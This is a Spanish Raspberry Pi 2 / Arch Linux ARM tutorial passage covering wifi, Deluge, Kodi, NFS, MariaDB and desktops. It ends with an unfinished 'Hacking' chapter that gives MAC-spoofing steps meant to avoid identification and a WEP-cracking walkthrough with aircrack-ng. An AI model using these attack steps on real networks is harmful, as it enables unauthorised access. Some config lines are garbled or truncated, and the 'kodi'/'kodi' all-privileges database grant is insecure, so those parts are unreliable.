Lo primero que puede hacer es, una vez logueado, sea conectado realmente o mediante una sesión remota, conectar a alguno de sus puertos USB el dongle de wifi; no lo haga apagando el sistema e iniciándolo, pues, a mí me ha pasado que he al hacer esto no se conecta por Ethernet. Ahora vea qué interfaces tiene:

\$ networkctl

Debería aparecerle algo así:

\$ networkctl

IDX	LINK	TYPE	OPERATIONAL	SETUP
	lo	loopback	carrier	unmanaged
2	eth0	ether	routable	configured
3	wlan0	wlan	off	unmanaged

Para obternet información más detallada de alguna interfaz, puede usar:

```
$ networkctl status \langle if \rangle
```

Donde $\langle if \rangle$ es el nombre de la interfaz que desea ver. Con este comando puede comprobar, por ejemplo, que su interfaz wireless tiene instalado un controlador. También le viene bien para ver la dirección MAC de cada una de sus NIC. Para cambiar ahora el nombre del dispositivo (lo que aparece bajo la columna LINK con el comando networkctl), debe crear una regla udev. Para hacer esto, debe editar /etc/udev/rules.d/10-network.rules (y crearlo, si no existe) e introducir lo siguiente:

```
SUBSYSTEM == "net", ACTION == "add", ATTR{address} == "aa:bb:cc:dd:ee:ff", NAME = "enCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", NAME = "wlCSUBSYSTEM == "net", ACTION == "add", ATTR{address} == "ff:ee:dd:cc:bb:aa", ATTR{address} ==
```

Si la dirección MAC de la interfaz a la que quiere llamar en0 es aa:bb:cc:dd:ee:ff y, la de wl0 ff:ee:dd:cc:bb:aa (cámbielas por las suyas). Yo suelo seguir la regla de llamar en $\langle n \rangle$, siendo $\langle n \rangle$ un número empezando por el 0, a las interfaces Ethernet y wl $\langle n \rangle$, empezando por el número 0 también, a las wireless. Tendrá que reiniciar para ver el/los nombre(s) nuevo(s).

MEJOR: Introduzca lo siguiente:

```
# mv /root/rasp/network/{en,wl}0.* /etc/systemd/network/ && \
> rm /etc/systemd/network/eth0.*

Ahora,
# mv /root/rasp/network/wpa_supplicant-skel.conf /etc/wpa_supplicant/wpa_supplicant-
Ahora,
# cat /root/rasp/network/wpa_supplicant-zfur.conf >> /etc/wpa_supplicant/wpa_supplicant/
Luego,
# rm /root/rasp/network/wpa_supplicant-zfur.conf ; rm /etc/wpa_supplicant/wpa_supplicant/
Ahora,
# mv /root/rasp/network/metwork-wireless@.service /etc/systemd/system/ && \
> mv /root/rasp/network/network-wireless_wl0 /etc/systemd/
```

Ahora deberá crear los ficheros de configuración de sus interfaces wifi. Estos ficheros deben encontrarse en /etc/systemd/network/ y deberán tener como extensión .link o .network. Los que yo uso los puede encontrar en ~/Dropbox/Documentos/rasp/<nom_host>/, donde <nom_host> es el nombre de host de mi RbPi2 (tengo configuraciones distintas para los distintos aparatos, puesto que, por ejemplo, cada uno tendrá direcciones IP distintas). Estos ficheros deberá copiarlos al directorio /etc/systemd/network/ de su RbPi2. Deberá cambiar también, antes de reiniciar, el fichero de configuración de su interfaz, que se encuentra en /etc/systemd/network/. Ahora mismo tiene sólo uno llamado eth0.network. Deberá borrarlo y copiar ahí, desde mi ordenador, si no lo ha hecho antes, ~/Dropbox/Documentos/rasp/<nom_host>/en0.network y ~/Dropbox/Documentos/rasp/<nom_host>/en0.link. Ahora sí puede reiniciar y volver a entrar por SSH sin problemas.

Una vez hecho esto, deberá instalar WPA Supplicant junto con sus dependencias:

```
# pacman -S wpa_supplicant
```

Ahora deberá copiar el fichero de configuración de WPA Supplicant, llamado, wpa_supplicant-<w-if>.conf, donde $\langle w\text{-}if \rangle$ es el nombre de su interfaz wireless, que puede encontrar en mi ordenador en ~/Dropbox/Documentos/rasp/<nom_host>/, al directorio /etc/wpa_supplicant/ de su RbPi2; si lo ha copiado antes a su RbPi2, ya lo tendrá en algún directorio suyo. Tendrá que cambiar las configuraciones de estos dos últimos ficheros de los que le he hablado, puesto que la contraseña de su wifi será distinta a la mía y las direcciones que su router asigna a su RbPi2. También suelo borrar el fichero wpa_supplicant.conf que ya existe en /etc/wpa_supplicant.

Ahora es el momento de que cree una unidad de systemd para el demonio de WPA Supplicant. Para ello, puede copiar, si no lo ha hecho ya, mi fichero ~/Dropbox/Documentos/rasp/network-wireless@.service al directorio /etc/systemd/system/ de su RbPi2. También deberá crear un fichero donde almacene las variables de entorno que usa el script. Yo lo creo en /etc/systemd/ y lo llamo network-wireless-w10; esta ruta tendrá que ponerla en el script, junto a EnvironmentFile. Este fichero se encuentra también en mi ordenador, en ~/Dropbox/Documentos/rasp/<nom_host>/. Algo que no soy capaz de solucionar es que, en network-wireless@w10.service, tengo que invocar al comando wpa supplicant necesariamente con

la opción -B, es decir, para que se ejecute en segundo plano, mientras que en los servicios predefinidos no habilitados para cargar al inicio que vienen con WPA Supplicant (en /usr/lib/system/) los invocan en primer plano.

Ahora deberá habilitar el demonio network-wireless@\val{w-if}.service:

```
# systemctl enable network-wireless@\langle w-if\rangle.service
```

Ahora debería copiar los ficheros ~/Dropbox/Documentos/rasp/<nom_host>/wl0.network y ~/Dropbox/Documentos/rasp/<nom_host>/wl0.link a /etc/systemd/network/. Ahora apague (no reinicie) su RbPi2. Una vez apagada, desenchufe el cable Ethernet y enciéndala. Ahora debería ser capaz de entrar por SSH a su RbPi2 por medio de la interfaz ⟨w-if⟩. Puede ver con el comando

```
$ systemctl --type=service
```

que el servicio network-wireless@<w-if>.service está iniciado, y puede ver el estado de dicho servicio con:

```
\$ systemctl status network-wireless@\langle w	ext{-}if
angle.service
```

Con esto, tendría ya conectada su RbPi2 a una wifi. Cuando lo hice, luego me di cuenta de un problema. Si la tiene conectada a un monitor o a un televisor, verá que, donde debería aparacer el prompt para loguearse con alguna cuenta del sistema, le aparece repetidas veces un mensaje que contiene:

```
cfg80211: Calling CRDA to update world regulatory domain
```

Y, finalmente, tras varias veces, aparecerá un mensaje que dice:

```
cfg80211: Exceded CRDA call max attempts. Not calling CRDA
```

Estos mensajes son mensajes de error que muestra el kernel. Puede verlos también con el comando:

```
# dmesg | tail -10
```

Según leí en el foro oficial de Arch Linux de ARM, el problema se soluciona instalando el paquete crda y, posteriormente, descomentando

```
\#WIRELESS\_REGDOM = "\setminus val\{XX\}"
```

de /etc/conf.d/wireless-regdom, donde $\langle XX \rangle$ indica el país o la región de la que desea tener configurada su interfaz wireless. El valor 00 indica world domain; España es ES. Para comprobar que lo ha cambiado correctamente, introduzca el comando

```
$ iw reg get
```

5.14 Instalar el cliente de BitTorrent Deluge

La documentación para la instalación del cliente de BitTorrent Deluge la he sacado principalmente del sitio How-To Geek (www.howtogeek.com/142044/how-to-turn-a-raspberry-pi-

into-an-always-on-bittorrent-box/) y del wiki del sitio oficial de Arch Linux (https://wiki.archlinux.org/index.php/Deluge).

Lo primero será instalar Deluge tal y como se instala el resto de software desde los repositorios:

```
# pacman -S deluge python2-service-identity
```

Un paquete que no me instaló como dependencia, pero que si no está instalado sale una advertencia sobre la conveniencia de instalarlo, cuando se ejecuta el cliente de consola de Deluge, es python2-service-identity. Para iniciar el demonio deluged, introduzca:

```
# systemctl start deluged.service
```

Este comando hará que se inicie el demonio deluged como usuario deluged. Puede introducir

```
$ systemctl status deluged.service
```

para ver que el demonio deluged se ha cargado correctamente.

Si desea no tener que iniciar una sesión con el usuario deluged (que ni si quiera lo habrá creado ni desee crearlo, seguramente) para poder usar Deluge, copie el fichero /usr/lib/systemd/system/deluged.service al directorio /etc/systemd/system/ y cambie el valor del parámetro User en este último fichero con el nombre del usuario que quiera; es decir:

```
User=\langle nom\_deluge \rangle
```

Puede habilitar el demonio deluged (que también se conoce como deluged.service) para que se inicia al iniciar el sistema. No obstante, al iniciar dicho demonio, comenzarán las descargas y/o subidas por BitTorrent, y eso consume casi todos los recursos de la pobre RbPi2. En caso de que quiera iniciarlo al arrancar el sistema para todo el sistema, tendrá que introducir el comando:

```
# systemctl enable deluged.service
```

Yo soy partidario de habilitarlo para que se arranque al iniciar el sistema, pues los dos únicos propósitos que tiene para mí esta RbPi2 es descargar ficheros por BitTorrent y reproducir videos. Aún así, aunque esté descargando ficheros, se pueden reproducir películas, aunque se puede quedar colgado el sistema si se pasa muy hacia delante rápidamente. Si quiere asegurarse de que Deluge no está funcionando mientras visualiza algún video, puede detener momentáneamente el demonio deluged con:

```
# systemctl stop deluged.service
```

Otra forma de detener el demonio es con la orden halt dentro de deluge-console, pero me parece más cómoda la anterior. Para que vuelva a ejecutarse el demonio, basta con poner:

```
# systemctl start deluged.service
```

Ahora reinicie el demonio deluged, logueese como $\langle nom_deluge \rangle$ e inicie el cliente de consola de Deluge:

```
$ deluge-console
```

Verá que suele tardar un rato en arrancar. En este cliente debe aparecer un mensaje que diga que está conectado al puerto 58846 de su interfaz loopback. Ahora, desde esta consola, introduzca:

```
>>> config -s allow_remote True
Setting allow_remote to True..
Configuration value successfully updated
* ConfigValueChanged: allow remote: True
```

si desea poder gestionarlo con el cliente de escritorio desde otro ordenador. Tras introducir el comando, debería aparecer True. Si puso False, es que algo falló. Ahora salga del cliente de consola:

```
>>> exit
```

Puede comprobar también, si le apetece, que se ha creado el directorio ~/.config/deluge/ con varios ficheros de configuración de la aplicación.

Ahora detenga el demonio deluged y luego vuélvalo a iniciar.

Ahora puede instalar el cliente GUI de Deluge en su ordenador e introducir los datos de su cuenta de usuario para que pueda empezar a indicarle a su Raspberry Pi 2 qué ficheros desea que descargue por BitTorrent, o, si lo prefiere, puede añadirlos por una sesión SSH mediante el comando deluge-console; lo único es que tendrá que copiar al RbPi2 los ficheros .torrent mediante algún comando como scp, por ejemplo.

Desde el propio cliente de consola puede cambiar la configuración de Deluge. Por ejemplo, se desea que los ficheros se descarguen a /home/<nom_deluge>/downloads en lugar de a /home/<nom_deluge>/Downloads, deberá introducir, desde la interfaz de deluge-console:

```
>>> @@config -s torrentfiles_location /home/\langle nom\_deluge \rangle/downloads@@ >>> @@config -s move_completed_path /home/\langle nom\_deluge \rangle/downloads@@ >>> @@config -s download_location /home/\langle nom\_deluge \rangle/downloads@@ >>> @@config -s autoadd_location /home/\langle nom\_deluge \rangle/downloads@@
```

También puede configurar el número máximo de descargas, etc. Algo que he visto al seguir este punto es que se crea el fichero temporal /home/<nom_deluge>/.config/deluge/core.conf~. Se puede eliminar, deteniendo antes el demonio deluged, y no pasa nada.

Ahora, si lo desea, puede instalar el reproductor OmxPlayer para poder empezar a ver películas si conecta a un televisor o monitor su RbPi2:

```
# pacman -S omxplayer
```

Antes de proceder a la instalación, se nos preguntará por los drivers gráficos que queremos instalar y las librerías del códec h.264. Yo lo dejo con las opciones predeterminadas. Luego se ve que también instala un montón de paquetes más que imagino que son de las X. Para que en OmxPlayer se vean los subtitulos, hay que instalar el paquete ttf-freefont, pues éstas son las fuentes que usa dicho programa. Ahora puede actualizar la caché de fuentes de su sistema con el comando:

```
# fc-cache -fv
```

y comprobar reproduciendo un vídeo con subtítulos que las fuentes TTF Freefont se han instalado correctamente.

Tenía un pequeño problema con OmxPlayer que consistía en que con algunos videos se seguía viendo en la franja negra de arriba como fondo la consola del sistema. Con la opción -b se soluciona. Es decir, ejecutando el comando:

```
$ omxplayer -b \langle nom_video \rangle
```

Para que se vean subtítulos, le añado la opción --subtitle:

```
$ omxplayer -b --subtitle \langle nom_subs \rangle \langle nom_video \rangle
```

Puede pausar con la barra espaciadora, pasar hacia adelante con la flecha hacia la derecha y atrás con la de la izquierda, salir con q, etc. Puede ver el man de omxplayer para aprender a usarlo. Si no se ven bien los subtítulos, pruebe a ver qué formato tienen con el comando:

```
$ file -i \langle subs \rangle
```

donde $\langle subs \rangle$ es el fichero de subtítulos. Si desea pasarlos a UTF-8, puede usar el comando iconv.

Un buen sitio para descargar torrents es baygle.org

Otra de las cosas que es conveniente hacer, si se va a usar, además, como servidor de ficheros y/o de impresión con el protocolo SMB/CIFS (lo cual en Linux se llama Samba), es reducirle a 16 MiB la memoria de vídeo. Para esto, deberá editar el fichero /boot/config.txt y poner

```
gpu_mem=16
```

Si está comentada dicha línea, descomentela y asígnele ese valor (16); creo que el valor predeterminado es 64. Si quisiese usar su RbPi2 como media center, debería darle un valor superior, como, por ejemplo, 320, pero lo que tengo claro tras bastantes pruebas es que el RbPi2 no tiene la suficiente potencia de procesamiento como para trabajar como cliente de descargas de BitTorrent y media center Kodi a la vez (lo que sí se puede es reproducir vídeos mediante Omxplayer, por ejemplo, pero es más engorroso que usar Kodi, que es una maravilla).

En ese mismo fichero (/boot/config.txt) puede configurar su sistema para overclockearlo (vea TKTKTK).

5.15 Instalar Kodi en un RbPi2

Los documentos que he consultado para la elaboración de este tutorial son https://wiki.archlinux.org/index.php/Kodi y http://blog.kwarf.com/2015/02/arch-and-kodi-on-the-raspberry-pi-2/.

Tras la instalación y la configuración básica, puede instalar ahora el cliente de BitTorrent Deluge (vea TKTKTK) o, si lo prefiere, luego. Creo que es mejor que lo haga después.

Edite /boot/config.txt y descomente disable_overscan=1 (para que se aproveche más el espacio de la pantalla durante la reproducción) y, en la última fila, cambie gpu_mem=64 por gpu_mem=320 (para asignar más RAM para la GPU de su RbPi2, cosa bastante conveniente para reproducir videos). Si lo desea, también puede overclockear su RbPi2 (vea TKTKTK). Luego reinicie

Ahora debe instalar el paquete kodi-rbp y luego arrancar y habilitar el servicio kodi (o, lo que es lo mismo, kodi.service). Luego, detenga el servicio.

Ahora deberá instalar un servidor NFS (*network filesystem*). El servidor NFS es proporcionado por el paquete nfs-utils; instálelo. Ahora establezca las comparticiones:

```
# mkdir -p /srv/nfs/{tv-shows,movies,music}
# mkdir -p /mnt/{tv-shows,movies,music}
# mount --bind /mnt/tv-shows /srv/nfs/tv-shows
# mount --bind /mnt/movies /srv/nfs/movies
# mount --bind /mnt/music /srv/nfs/music
```

y deberá añadir también las entradas correspondientes, para estos montajes, en el fichero /etc/fstab, para que no tenga que montarlas manualmente cada vez que inicia su sistema:

. .

```
/mnt/tv-shows /srv/nfs/tv-shows none bind 0 0
/mnt/movies /srv/nfs/movies none bind 0 0
/mnt/music /srv/nfs/music none bind 0 0
```

En mi caso quedaría algo así:

Comparta el contenido en /etc/exports:

```
/srv/nfs \langle ip-n-if \rangle/24(ro,fsid=0,no_subtree_check)
/srv/nfs/tv-shows \langle ip-n-if \rangle/24(ro,no_subtree_check,insecure)
/srv/nfs/movies \langle ip-n-if \rangle/24(ro,no_subtree_check,insecure)
/srv/nfs/music \langle ip-n-if \rangle/24(ro,no_subtree_check,insecure)
```

donde $\langle ip$ -n-if \rangle es la dirección IP de la interfaz de red de su RbPi2 que vaya a usar para conectarse a su red local (en mi caso, se trata de una interfaz wireless). Como siempre que se hace un cambio al fichero /etc/exports, deberá refrescar los exports:

```
# exportfs -rav
```

Arranque y habilite los servicios rpcbind.service y nts-server.service

Ahora debe instalar y configurar el servidor MySQL. Para ello, deberá instalar el paquete mariadb. Tal y como le dice Pacman al final de la instalación,

```
:: You need to initialize the MariaDB data directory prior to starting
the service. This can be done with mysql_install_db command, e.g.:
   mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql
```

Así, pues, deberá ejecutar el mismo comando que se le indica en la última línea; creo que debe mantener esos mismos valores:

```
# mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql
```

Ahora arrangue y habilite el servicio mysgld.service

Ahora deberá introducir lo siguiente:

```
# mysql_secure_installation
```

En las preguntas que le haga el script, conteste sí (y) a todo. Ahora introduzca:

```
$ mysql -u root -p
```

Introduzca la contraseña de root de MySQL que asígnó en el primer paso del script anterior. Ahora le aparecerá una CLI interactiva de MySQL. Introduzca lo siguiente:

```
MariaDB [(none)] > create user 'kodi' identified by 'kodi';
Query OK, O rows affected (0.01 sec)
MariaDB [(none)] > grant all on *.* to 'kodi';
Query OK, O rows affected (0.00 sec)
MariaDB [(none)] > \q
Bye
```

Ahora hay que configurar Kodi para que use la biblioteca MySQL y los exports NFS. Este paso deberá hacerlo en cada uno de los nodos Kodi; no así los anteriores. Debe comprobar que tiene instalado el paquete libnfs (vea Comprobar TKTKTK); deberá tenerlo instalado, si instaló nfs-utils. Ahora deberá crear el fichero /var/lib/kodi/.kodi con lo siguiente:

Ahora deberá hacer que kodi sea el dueño del fichero y el grupo predeterminado sea kodi:

```
# chown -R kodi:kodi /var/lib/kodi
```

Para instalar algunos add-ons interesantes, puede seguir el tutorial que hay en https://www.youtube.com/watch?v=YteNG2cT8uc.

5.16 Conectar su RbPi a un monitor VGA

Para conectar su RbPi a un monitor que no tenga interfaz HDMI pero si una VGA, puede comprar algún adaptador compatible (cerciónese de que es compatible con las RbPi) y usarlo, siempre y cuando configure adecuadamente su RbPi. En https://www.raspberrypi.org/documentation/configuration/config-txt.md puede leer una explicación del fichero /boot/config.txt que tendrá en su RbPi (al menos, si tiene instalado Raspbian o Arch Linux para ARM), que en las RbPi es el fichero que sustituye a la BIOS de los sistemas de arquitectura x86.

Resumiendo lo que explica esta web, usted podría seguir los pasos siguientes (estamos suponiendo que usted tiene acceso al sistema de ficheros de su RbPi mediante sesión SSH o montando el "disco duro", es decir, la tarjeta microSD, en otro ordenador):

1. Establezca los valores

```
hdmi_group=1
hdmi mode=1
```

en su fichero /boot/config.txt (compruebe que no están comentados, es decir, que están sin # a la izquierda). Guarde el fichero con las modificaciones y reinicie su RbPi.

2. Introduzca el comando siguiente:

```
# /opt/vc/bin/tvservice -m CEA
```

y guarde o anote la salida. Tendrá entonces lista de modos CEA soportados por su monitor. Puede que uno de los modos venga acompañado de "native"; ésta es la mejor de las opciones que le muestra.

Introduzca el comando siguiente:

```
# /opt/vc/bin/tvservice -m DMT
```

y guarde o anote la salida. Tendrá entonces lista de modos DMT soportados por su monitor. Puede que uno de los modos venga acompañado de "native"; ésta es la mejor de las opciones que le muestra.

4. Introduzca el comando:

```
# /opt/vc/bin/tvservice -s
```

lo cual le mostrara el estado actual, es decir qué modo está usando actualmente.

5. Asigne ahora a la clave hdmi_mode (recuerde, en /boot/config.txt) el valor que desee de los compatibles que se le han mostrado.

Puede que siguiendo estos pasos ya le funcione el monitor. Aun así, deberá comprobar que le funciona no sólo con un reinicio suave, es decir, con un reboot, sino que también le funciona con un reinicio fuerte, es decir, apagando (poweroff), desconectando la alimentación y volviendo a alimentar. Si le funciona en ambos casos, ya ha terminado. Si no es así, deberá seguir lo que se indica en el paso siguiente:

6. Introduzca los comandos siguientes para almacenar información más detallada de su monitor:

```
# /opt/vc/bin/tvservice -d /boot/edid.dat
# /opt/vc/bin/edidparser /boot/edid.dat
```

Añada también, a su fichero /boot/config.txt, hdmi edid file=1

5.17 Entorno de escritorio Lxde

Para instalar el entorno de escritorio Lxde en su Raspberry Pi con sistema operativo Arch Linux para ARM, deberá instalar tres paquetes:

```
# pacman -S xf86-video-fbdev lxde xorg-xinit}
```

Luego, quizás deba reiniciar. Después, para ejecutar el entonrno de escritorio, escriba desde su shell:

```
$ xinit /usr/bin/lxsession}
```

Puede hacer que el servicio 1xdm, que es el servicio de display manager de Lxde, se ejecute al arrancar el sistema. No tiene que instalarlo, pues se instala junto con el paquete 1xde. Con Systemd se haría del siguiente modo:

```
# systemctl enable lxdm.service}
```

Por si no sabe qué he querido decir con esto último, se podría decir que esto hace que arranque Lxde al iniciar el sistema.

5.18 Entorno de escritorio Xfce

En http://blog.adityapatawari.com/2013/05/arch-linux-on-raspberry-pi-running-xfce. html hay un manual que está bien, aunque es de 2013.

Lo primero será instalar las librerías Xorg

```
# pacman -S xorg-xinit xorg-server xorg-server-utils xterm
```

Ahora, instale Xfce:

```
# pacman -S xfce4
```

Le preguntará si desea instalar sólo ciertos paquetes. Yo elijo instalar todo, que es la opción predeterminada. También me gusta instalar un paquete que le proporciona plugins para Xfce4:

```
# pacman -S xfce4-goodies
```

También instalo los drivers de display:

```
# pacman -S xf86-video-fbdev xf86-video-vesa
```

Ahora, para arrancar el entorno de escritorio XFCE, deberá introducir:

\$ startx

0

\$ startxfce4

Si desea arrancarlo al iniciar el sistema, puede hacerlo de dos formas:

1. Mediante el empleo de un login manager (en español, se podría decir *gestor de login*). Esto hará que aparezca una pantalla en la que podrá seleccionar el usuario, el entorno de escritorio (si es que tiene varios instalados), el idioma, etc. Puede elegir de entre varios login managers, independientemente del entorno de escritorio, aunque también es cierto que algunos entornos de escritorio tienen su login manager predeterminado, que mantiene el mismo diseño y se suelen instalar junto con el entorno de escritorio. Existen login managers GUI y CLI. En Xfce4, el login manager predeterminado es Xfwm. Yo no he sabido configurarlo, así que he usado LightDM. Para instalar éste último, deberá introducir:

```
# pacman -S lightdm
```

Luego, deberá instalar un greeter para LightDM

```
# pacman -S lightdm-gtk-greeter
```

Ahora debería habilitar el login manager que haya seleccionado (de ahora en adelante, *\lambda l-manager*\rangle):

```
# systemctl enable ackslash val\{l-manager\}.service
```

Ahora debería funcionar. Si no es así, usted debería reestablecer un vínculo simbólico default.target propio que apunte al graphical.target predeterminado. Tras habilitar \val{l-manager}.service, debería existir un vínculo simbólico display-manager.service en el directorio /etc/systemd/system/ que apunte a /usr/lib/systemd/system/ \val{l-manager}.service.

2 Añadiendo

```
[[ -z $DISPLAY && $XDG VTNR -eq 1 ]] && exec startx
```

a su fichero ~/.bash_profile. Esto hará que el sistema muestre un prompt en CLI en su shell para que acceda a una sesión de una cuenta de usuario de su sistema y, una vez introducida correctamente la contraseña, entrará en su shell y directamente el sistema abrirá el entorno de escritorio para la misma cuenta de usuario.

No tiene sentido que configure el inicio de ambas formas. Lo normal es que elija una, preferiblemente la primera. La segunda tiene más sentido si desea crear ciertos usuarios de su sistema que no tengan acceso al entorno de escritorio.

A la hora de eliminar Xfce de mi sistema, tuve problemas, pues me decía que tal software no podía eliminarse porque requería xfce4-panel. Al final, lo solucioné usando la opción -Rc, en lugar de -Rns, que son las que suelo usar para eliminar software con Pacman. -Rc es más agresivo y puede eliminar partes necesarias de su sistema, así que no debe usarse a la ligera.

Capítulo 6

Hacking

En este capítulo se describirán varios ataques básicos a redes wifi. Para evitar exceso de prosa, se usará aquí una notación que hará más visual, aunque también más técnica, la lectura:

- Dirección MAC de la NIC que usará usted en su sistema para realizar el ataque: \(\langle nic_att_mac \rangle \)
- Designador de la NIC wireless que usará usted en su sistema para realizar el ataque: \(\langle nic_att \rangle \)
- Dirección MAC de la interfaz wireless LAN del AP: ⟨bssid_ap⟩
- Designador de la red wireless creada por el AP: \(\langle essid_ap \rangle \)
- Canal de wifi de la banda de 2.4 GHz empleado por el AP: ⟨canal ap⟩

6.1 MAC spoofing

El MAC spoofing podría traducirse como "enmascaramiento de MAC"; aquí MAC hace alusión a dirección MAC (también conocida como "dirección física" o" dirección hardware"). Consiste en cambiar la dirección MAC que muestra nuestro equipo, normalmente antes de realizar un ataque wifi, con la intención de que no se nos pueda identificar. Advierta que la dirección MAC es única para cada NIC en todo el mundo y una organización con el suficiente poder, como, por ejemplo, una perteneciente a un estado, podría consultar los registros de ventas de las principales empresas que venden ordenadores y NICs wireless y averiguar quién compró su ordenador o NIC; sobretodo si pagó con tarjeta de crédito o débito dicha transacción comercial.

Para hacer MAC spoofing en su *(nic_att)*, deberá hacer lo siguiente

```
# ifconfig \langle nic\_att\_mon \rangle down
# macchanger -r \langle nic\_att\_mon \rangle
# iwconfig \langle nic\_att\_mon \rangle mode monitor
# ifconfig \langle nic\_att\_mon \rangle up
```

6.2 Cracking de redes wireless con seguridad WEP

Para hacer este tutorial me he basado en el que puede encontrar en http://www.aircrack-ng.org/doku.php?id=simple_wep_crack, aunque hay cosas que he hecho de forma distinta; tenga en cuenta que éste último es del año 2010.

Aquí se supone que usted tiene en su sistema una WNIC (tarjeta de interfaz wireless de red; en ingles, wireless network interface card) con los controladores necesarios para hacer inyección de paquetes. Tenga en cuenta que, según qué chip tenga en dicha tarjeta, se le puede hacer muy complicado el proceso de instalar los controladores para inyección de paquetes, así que, si va a comprar una para practicar estos tutoriales, lo mejor es que se informe antes de cuál le conviene comprar. Puede consultar el siguiente enlace de enero de 2015: http://www.wirelesshack.org/top-kali-linux-compatible-usb-adapters-dongles-2015.html. La mía es una TP-Link TL-WN772N, que ha funcionado muy bien, en todas las distribuciones de Linux en las que la he probado, sin necesidad de instalar "manualmente" los controladores.

Este ataque que se describe aquí se basa en usar el software Aireplay-ng para replay paquetes ARP para generar nuevos IVs (vectores de inicialización, *initialization vectors*). Luego, estos IVs los usará la herramienta de software Aircrack-ng para crackear la clave WEP.

Antes de nada, debe asegurarse de cumplir ciertos requisitos:

- La WNIC que va a usar para este tutorial tiene controladores que le permitan realizar inyección de paquetes.
- Su WNIC se encuentra lo bastante cerca del AP para emitir y recibir paquetes. Advierta que, aunque pueda transmitir paquetes al AP (punto de acceso, se sobreentiende que wireless; (wireless) access point), quizás no pueda recibirlos, pues es fácil variar la potencia a la que transmite su WNIC, mientras que para mejorar su recepción lo único que puede hacer es cambiar la antena de su WNIC por una de más dBi.
- Existe al menos un cliente conectado, por cable o inalámbricamente (????????TKTKTKTK), al AP que quiere atacar y este/estos cliente(s) está(n) activo(s). La razón está en que este tutorial presupone que usted pueda recibir al menos un paquete de solicitud de ARP.

Recuerde la notación empleada en todo este capítulo (vea Hacking).

Para crackear una clave WEP de un AP, usted necesita recolectar muchos IVs. El tráfico normal de red no suele generar muchos IVs en poco tiempo. Usted podría crackear un AP con seguridad WEP simplemente monitorizando los paquetes wireless en la red y guardándolos para analizarlos, pero esto le llevaría seguramente mucho tiempo. Así, pues, será mejor usar una técnica, llamada inyección, para acelerar el proceso. La inyección consiste, en este ámbito, en hacer que el AP reenvíe paquetes seleccionados de forma rápida una y otra vez. Gracias a esto, podrá capturar un gran número de IVs en poco tiempo.

1. Pase $\langle nic_att \rangle$ a modo monitor.

El modo en el que suelen estar configuradas las WNIC es managed, que consiste en que su interfaz sólo "escuche" los paquetes que se envían a ella (incluidos los de broadcast). Las interfaces de la wireless LAN de los AP se encuentran en modo master. El modo monitor le permitirá "escuchar" todos los paquetes wifi que hay en las cercanías (en realidad, las señales electromagnéticas de dichos paquetes). Para inyectar paquetes, deberá estar

en modo monitor (creo que también puede hacerlo en algún otro modo, como el modo promiscuo, pero no viene al caso).

Para pasarla a modo monitor, antes deberá ponerla en down:

```
# ifconfig \langle nic \ att \rangle down
```

Ahora, con airmon-ng debería pasar a modo monitor:

```
# airmon-ng start \( nic_att \)
```

Ahora podrá comprobar, con

```
$ iwconfig
```

que $\langle nic_att \rangle$ ha pasado a modo monitor. Verá que el nombre de $\langle nic_att \rangle$ ha cambiado; aquí, la nueva designación la representaremos de forma genérica como $\langle nic_att_mon \rangle$, que en su caso será distinta.

Ahora, si lo desea, puede hacer MAC spoofing de su interfaz mon (vea MAC spoofing).

2. Probar que su interfaz (*nic_att_mon*) recibe la señal del AP a atacar con la suficiente potencia para poder realizar la invección de paquetes. Para esto, deberá introducir:

```
# aireplay-ng -9 -e \langle essid\_ap \ranglea \langle bssid\_ap \rangle \langle nic\_att\_mon \rangle
```

Ese 9 indica test de inyección. El sistema debería responder algo parecido a lo siguiente:

```
09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35  Trying broadcast probe requests...
09:23:37  Found 1 AP

09:23:37  Trying directed probe requests...
09:23:37  O0:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39  30/30: 100%
```

Debe fijarse en la última línea. El porcentaje que le muestra debe ser cercano (si no igual) al 100 %. Si no es así, es que la señal que recibe no le llega con suficiente potencia, seguramente, porque se encuentra demasiado lejos del AP. Una forma de solucionarlo sería usar una WNIC con una antena con más dBi, tal y como se dijo antes. Si el valor es 0 %, seguramente es síntoma de que su inyección no está funcionando; para solucionarlo puede parchear sus controladores o usar otros.

3. Ejecute Airodump-ng para capturar los IVs.

Es aconsejable que este comando lo introduzca en otra consola, pues deberá ejecutarse mientras hace otras cosas. Podría abrir una nueva ventana o pestaña de su emulador de terminal, una nueva "pestaña" de un multiplexor de terminal como Tmux (vea Tmux), o, si lo prefiere, ejecutarlo en segundo plano (*background*, vea Comandos de control) y volver al mismo cuando lo necesite.

```
# airodump-ng -c \langle canal_ap \rangle -b \langle bssid_ap \rangle \rangle
> -w \langle pref_out \rangle \langle nic_att_mon \rangle
```

donde $\langle pref_out \rangle$ es el prefijo de los nombres de los ficheros que contendrán la salida del comando, es decir, que contendrán los IVs.

Mientras está teniendo lugar la inyección (cosa que se hará posteriormente), deberá aparecerle, en este comando, algo así:

4. Use Aireplay-ng para hacer una autenticación falsa con el AP.

